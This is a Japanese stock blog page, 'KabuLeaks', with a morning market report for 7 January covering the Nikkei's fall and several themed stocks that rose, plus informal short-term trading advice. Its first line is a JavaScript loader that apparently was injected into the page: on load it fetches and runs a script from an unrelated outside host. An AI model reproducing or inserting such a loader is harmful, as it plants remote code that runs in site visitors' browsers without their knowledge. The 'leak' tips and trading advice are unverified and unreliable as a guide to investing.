;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/7 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/7 前引け】

前場の日経平均株価は324円安と4日続落。前日の欧米株安から売り先行スタートし、その後は人民元の基準値引き下げから円高進行、中国市場が再びサーキットブレーカー発動などから下げ幅を拡大し、一時は前日比372円安。日経平均は節目の1万8000円台を割れとなった。業種別では、33業種全てが下落。値下がり上位には鉱業、その他金融業、鉄鋼、精密機器などが並んでいる。

個別では、人気のテーマ株の民泊関連から【3236】プロパストがストップ高となったほか、【3300】AMBITION、【8889】アパマンショップが大幅上昇。ドローン関連からは【2303】ドーンが大幅上昇、テーマ株として人気のほか前日引け後に発表された上方修正を材料視。同じドローン関連から出遅れとして【8226】理経、【3669】モバイルクリエイト なども上昇している。また、テーマ株人気の流れ、特段の材料はないもののLINE関連に久しぶりに資金が集まり【2489】アドウェイズ、【3815】メディア工房、【4824】メディアシーク、【4644】イマジニアなど関連銘柄が軒並み急伸。

後場の日経平均は下値模索への動きを引き続き警戒。既に下落は数日前より予想はしていたが、売られ過ぎ感があるくらいでこれといった買い材料視はなし。外部環境の不透明感が払拭されない限り下手な押し目買いは控えたほうがいいかと思う。今週は3連休、週末にはSQ、雇用統計も控え様子見。

テーマ株など個別物色はこの地合いでも引き続き旺盛なので短期売買に徹するのがベスト。